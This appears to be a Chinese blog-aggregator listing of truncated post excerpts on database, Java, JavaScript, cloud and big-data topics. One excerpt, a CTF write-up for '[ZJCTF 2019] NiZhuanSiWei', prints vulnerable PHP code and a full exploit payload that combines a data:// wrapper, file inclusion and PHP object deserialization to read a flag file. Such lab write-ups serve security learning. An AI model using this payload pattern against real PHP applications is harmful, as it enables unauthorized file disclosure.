data

第十五周

风格不统一 提交于 2020-04-07 14:03:07
1、编写脚本,支持让用户自主选择,使用mysqldump还是xtraback全量备份。 #!/bin/bash PS3="Please input a choice:" select menu in mysqldump xtrabackup; do case $REPLY in 1) mkdir /backup/dump/ &> /dev/null mysqldump -F -A --single-transaction --master-data=1 > /backup/dump/all.sql break ;; 2) mkdir /backup/test/ &> /dev/null xtrabackup --backup --target-dir=/backup/test/ &> /dev/null break ;; *) echo "please input again!" esac done 2、配置Mysql主从同步 环境:192.168.43.127 master 192.168.43.137 slave 1、master配置文件: [root@centos7 backup]#cat /etc/my.cnf [mysqld] **server-id=1** max_connections=2000 binlog_format=ROW **log-bin=/data

spring.io官网jar包和spring data jpa离线文档下载地址

只谈情不闲聊 提交于 2020-04-07 11:39:50
原来的项目没有用maven构建,想手工加个jar到编译路径里,结果发现官网改版后通过git下载的zip包里居然只有源码,我勒个去的,在git中找来找去,找到这么一段 End user application builds should use http://repo.springsource.org/release , /milestone and /snapshot to resolve Spring project artifacts. details Spring project builds should use http://repo.springsource.org/libs-release , /libs-milestone, and /libs-snapshot to resolve Spring project artifacts and all transitive dependencies. details Older-style http://maven.springsource.org URLs will continue to work, but switch to repo.springsource.org for new development. details GA Spring project artifacts will continue to

Jquery DataTable基本使用

你说的曾经没有我的故事 提交于 2020-04-07 09:59:27
原文地址 https://www.cnblogs.com/xiashengwang/p/8087181.html 1,首先需要引用下面两个文件 <link rel="stylesheet" href="https://cdn.datatables.net/1.10.16/css/jquery.dataTables.min.css" /> <script src="https://cdn.datatables.net/1.10.16/js/jquery.dataTables.min.js"></script> 2,DataTable支持的数据类型 https://www.datatables.net/manual/data/ 2.1 数组 vardata = [ [ "Tiger Nixon", "System Architect", "Edinburgh", "5421", "2011/04/25", "$3,120" ], [ "Garrett Winters", "Director", "Edinburgh", "8422", "2011/07/25", "$5,300" ] ] 2.2 对象 [ { "name": "Tiger Nixon", "position": "System Architect", "salary": "$3,120", "start_date":

[ZJCTF 2019]NiZhuanSiWei

随声附和 提交于 2020-04-07 02:21:24
[ZJCTF 2019]NiZhuanSiWei 考察: php协议 data://,php:// 反序列化 完整payload:text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 首页: <?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if( isset($text) && (file_get_contents($text,'r') === "welcome to the zjctf" )){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?> file_get

Linux安装Mysql5.7数据库

爱⌒轻易说出口 提交于 2020-04-06 23:53:41
下载地址: https://downloads.mysql.com/archives/community/ 1.上传到服务器并解压 tar -xvf mysql-5.7.26-linux-glibc2.12-x86_64.tar 2.再移动并重命名一下 mv mysql-5.7.26-linux-glibc2.12-x86_64 /usr/local/mysql 3.创建mysql用户组和用户并修改权限 groupadd mysql useradd -r -g mysql mysql 4.创建数据目录并赋予权限 mkdir -p /data/mysql #创建目录 chown mysql:mysql -R /data/mysql #赋予权限 5.配置my.cnf vim /etc/my.cnf 内容如下: [mysqld] bind-address=0.0.0.0 port=3306 user=mysql basedir=/usr/local/mysql datadir=/data/mysql socket=/tmp/mysql.sock log-error=/data/mysql/mysql.err pid-file=/data/mysql/mysql.pid #character config character_set_server=utf8mb4 symbolic

Python大数据处理案例

假如想象 提交于 2020-04-06 19:25:29
分享 知识要点: lubridate包拆解时间 | POSIXlt 利用决策树分类,利用随机森林预测 利用对数进行fit,和exp函数还原 训练集来自Kaggle华盛顿自行车共享计划中的自行车租赁数据,分析共享自行车与天气、时间等关系。数据集共11个变量,10000多行数据。 https://www.kaggle.com/c/bike-sharing-demand 首先看一下官方给出的数据,一共两个表格,都是2011-2012年的数据,区别是Test文件是每个月的日期都是全的,但是没有注册用户和随意用户。而Train文件是每个月只有1-20天,但有两类用户的数量。 求解:补全Train文件里21-30号的用户数量。评价标准是预测与真实数量的比较。 1.png 首先加载文件和包 library(lubridate) library(randomForest) library(readr) setwd("E:") data<-read_csv("train.csv") head(data) 这里我就遇到坑了,用r语言缺省的read.csv死活读不出来正确的文件格式,换成xlsx更惨,所有时间都变成43045这样的怪数字。本来之前试过as.Date可以正确转换,但这次因为有时分秒,就只能用时间戳,但结果也不行。 最后是下载了"readr"包,用read_csv语句,顺利解读。

1.个人项目 Individual Project

ぃ、小莉子 提交于 2020-04-06 18:26:36
https://github.com/sunlitao 一. 实验1通讯录管理系统 通讯录中的联系人包含以下信息项:姓名、手机、办公电话、家庭电话、电子邮箱、所在省市、工作单位、家庭住址,群组分类 ( 亲属、同事、同学、朋友、其他 ) 。 系统的主要功能包括: 1. 输入联系人的信息,要求:至少输入 10 个联系人的数据,且注意数据的多样性。 2. 按姓名对联系人信息进行排序,并将排序后信息存放到一个文本文件中。 3. 添加联系人的信息,在已经存在的通讯录文件中添加若干个联系人。要求:添加后仍按联系人的姓名排序,并保存至原文件。 4. 删除联系人的信息,输入一个姓名,若通讯录中有该联系人的信息,则删除该联系人,否则输出提示信息,并提示用户选择是否继续进行删除操作。 5. 修改联系人的信息,输入一个姓名,根据具体需要修改该联系人的某一项信息,将修改后的信息重新保存到通讯录文件中,并提示用户选择是否继续进行修改操作。 6. 按不同条件对通讯录进行查询操作,输出满足条件的联系人的信息。 (1) 按姓名查询,包括精确查询 ( 输入全名 ) ,模糊查询 ( 输入姓 ) ; (2) 按手机号码查询,输入全部号码或号码位段(如输入 130 、 133 、 139 等); (3) 按群组分类查询,输入分类名称,输出该群组的全部联系人信息。 7. 输出联系人的信息,按一定格式输出信息

promise

廉价感情. 提交于 2020-04-06 18:21:59
一个封装了异步操作的Promise对象实际上并没有做任何事件,它仅仅针对回调函数的不同结果定义了不同的状态 。 resolve和reject方法也没有做多余的操作,仅仅是把异步结果传递出去而已,对于异步结果的处理,是交给then方法来完成的。 使用then方法来完成 var fs = require('fs') function readFile_promise(path){ return new Promise(function(resolve,reject){ fs.readFile(path,'utf-8',function(err,data){ if(data){ resolve(data) }else{ reject(err) } }) }) } var promise = readFile_promise('./abc.txt'); promise.then(function(data){ //success },function(err){ //fail }) then方法总是返回一个新的promise对象 ,这就表示可以多次then,由于默认返回的Promise是个空对象 ,除非做些额外的操作,否则这操作得不到有意义的值。 var promise = readFile_promise('./abc.txt'); promise.then(function(data)

AWS KMS 科普: What Why and How?

家住魔仙堡 提交于 2020-04-06 16:51:30
What: 密钥管理 —— 加密并不难,难的是密钥管理 AWS KMS 全称为 Key Management Service,中文直译过来为密钥管理服务 —— 这一点很重要,它提供的核心服务是 密钥管理 ,帮助企业、开发者方便安全地管理密钥。很多刚接触 KMS 的同学经常搞不清 KMS 到底做是做什么的,很大原因也是没仔细注意到 Key Management 这两个词。 所以我们的第一个问题「What」就已经回答了,KMS 就是一个管理密钥的服务,它并不是某种 super super magic 的高超加密方法。 我希望本文的读者通过阅读能意识到一个观念:加密是简单的,难的是管理密钥本身。 Why: KMS 能确保你密钥的安全性 接着来看第二个问题:Why ?为什么我需要把我的密钥给你管理,我自己保存不行了吗?事实上你完全可以自己管理,就像你完全可以自建机房一样,only if 你清楚各种最佳实践并愿意花时间自己去维护。 服务之所以叫服务,是服务提供商为你做了各种各样麻烦的事情 (They deal with those heavy lifting),从而让你把更多的时间精力花在更有价值的事情上。 那么 AWS KMS 为用户做了哪些麻烦的工作呢? 完全托管:你不需要额外的服务器,不需要额外的维护人员。 简化加密过程:你不需要去在意繁琐的加密细节过程,只需要调用相关接口就行了。

hive内部表&外部表介绍

泪湿孤枕 提交于 2020-04-06 12:43:40
未被external修饰的是内部表(managed table),被external修饰的为外部表(external table); 区别: 内部表数据由Hive自身管理,外部表数据由HDFS管理; 内部表数据存储的位置是hive.metastore.warehouse.dir(默认:/user/hive/warehouse),外部表数据的存储位置由自己制定; 删除内部表会直接删除元数据(metadata)及存储数据;删除外部表仅仅会删除元数据,HDFS上的文件并不会被删除; 对内部表的修改会将修改直接同步给元数据,而对外部表的表结构和分区进行修改,则需要修复(MSCK REPAIR TABLE table_name;) 如下,进行试验进行理解 试验理解 创建内部表t1 create table t1( id int ,name string ,hobby array<string> ,add map<String,string> ) row format delimited fields terminated by ',' collection items terminated by '-' map keys terminated by ':' ; 2. 查看表的描述:desc t1; 装载数据(t1) 注:一般很少用insert (不是insert overwrite)语句